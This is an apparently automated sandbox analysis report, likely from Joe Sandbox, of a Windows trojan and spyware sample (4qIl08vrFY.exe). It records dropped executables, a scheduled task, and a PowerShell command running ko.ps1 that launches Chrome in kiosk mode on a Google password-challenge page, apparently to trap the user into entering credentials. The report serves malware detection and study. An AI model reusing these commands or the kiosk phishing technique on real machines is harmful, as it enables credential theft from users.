Source: chrome.exe, 0000000A.00000002.4510929381.0000020C08E83000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdYouTube/
Source: chrome.exe, 0000000A.00000002.4511769864.0000020C08FC0000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdg

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50774
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54583
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54581
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 50792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 54583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54565 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50791
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50792
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50801
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50767
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54565
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50807
Source: unknown	Network traffic detected: HTTP traffic on port 50774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49786 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: .rsrc
Source: random[1].exe.3.dr	Static PE information: section name: .idata
Source: random[1].exe.3.dr	Static PE information: section name:
Source: 6b11689b40.exe.3.dr	Static PE information: section name:
Source: 6b11689b40.exe.3.dr	Static PE information: section name: .rsrc
Source: 6b11689b40.exe.3.dr	Static PE information: section name: .idata
Source: 6b11689b40.exe.3.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006BCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,		0_2_006BCB97
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0015CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,		1_2_0015CB97

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6968_731799293\manifest.fingerprint	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_6968_1660607800

Jump to behavior

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006AAA09	0_2_006AAA09
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006A9A00	0_2_006A9A00
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006E7049	0_2_006E7049
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006E31A8	0_2_006E31A8
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006C6192	0_2_006C6192
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006C1602	0_2_006C1602
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006E779B	0_2_006E779B
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006E8860	0_2_006E8860
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006E78BB	0_2_006E78BB
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006A4B30	0_2_006A4B30
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006E2D10	0_2_006E2D10
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006A4DE0	0_2_006A4DE0
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006C3DF1	0_2_006C3DF1
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006C0E13	0_2_006C0E13
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: 0_2_006D7F36	0_2_006D7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00149A00	1_2_00149A00
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00187049	1_2_00187049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00166192	1_2_00166192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001831A8	1_2_001831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00161602	1_2_00161602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0018779B	1_2_0018779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00188860	1_2_00188860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001878BB	1_2_001878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00144B30	1_2_00144B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00182D10	1_2_00182D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00163DF1	1_2_00163DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00144DE0	1_2_00144DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00160E13	1_2_00160E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00177F36	1_2_00177F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1000113001\num.exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0015DF80 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001580C0 appears 131 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0015D942 appears 80 times
Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe	Code function: String function: 000545C0 appears 316 times
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: String function: 006BD942 appears 83 times
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: String function: 006B80C0 appears 131 times
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Code function: String function: 006BDF80 appears 43 times

Source: 4qIl08vrFY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe.3.dr	Static PE information: Section: ipavvigs ZLIB complexity 0.9948537919551474
Source: 6b11689b40.exe.3.dr	Static PE information: Section: ipavvigs ZLIB complexity 0.9948537919551474

Source: skotes.exe, 00000003.00000002.4503861250.0000000003ED5000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000004.00000000.2108609049.000000000006E000.00000002.00000001.01000000.0000000A.sdmp, num.exe, 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmp, 6b11689b40.exe, 00000005.00000003.2172652272.0000000005590000.00000004.00001000.00020000.00000000.sdmp, 6b11689b40.exe, 00000005.00000002.2212980719.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@64/23@24/18

Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe

Code function: 4_2_00069600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

4_2_00069600

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

0_2_006AAA09

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6208:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: 4qIl08vrFY.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 0000000A.00000002.4510882016.0000020C08E60000.00000002.00000001.00040000.00000019.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: chrome.exe, 0000000A.00000003.2288087540.00003FCC02C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4511416310.0000020C08EB5000.00000002.00000001.00040000.0000001C.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 4qIl08vrFY.exe	Virustotal: Detection: 63%
Source: 4qIl08vrFY.exe	ReversingLabs: Detection: 68%

Source: 6b11689b40.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 6b11689b40.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 6b11689b40.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

File read: C:\Users\user\Desktop\4qIl08vrFY.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\4qIl08vrFY.exe "C:\Users\user\Desktop\4qIl08vrFY.exe"
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000113001\num.exe "C:\Users\user\AppData\Local\Temp\1000113001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\1000115002\6b11689b40.exe "C:\Users\user\1000115002\6b11689b40.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2256 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\1000115002\6b11689b40.exe "C:\Users\user\1000115002\6b11689b40.exe"
Source: unknown	Process created: C:\Users\user\1000115002\6b11689b40.exe "C:\Users\user\1000115002\6b11689b40.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4920 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4812 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000113001\num.exe "C:\Users\user\AppData\Local\Temp\1000113001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\1000115002\6b11689b40.exe "C:\Users\user\1000115002\6b11689b40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2256 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4920 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4812 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Section loaded: explorerframe.dll	Jump to behavior
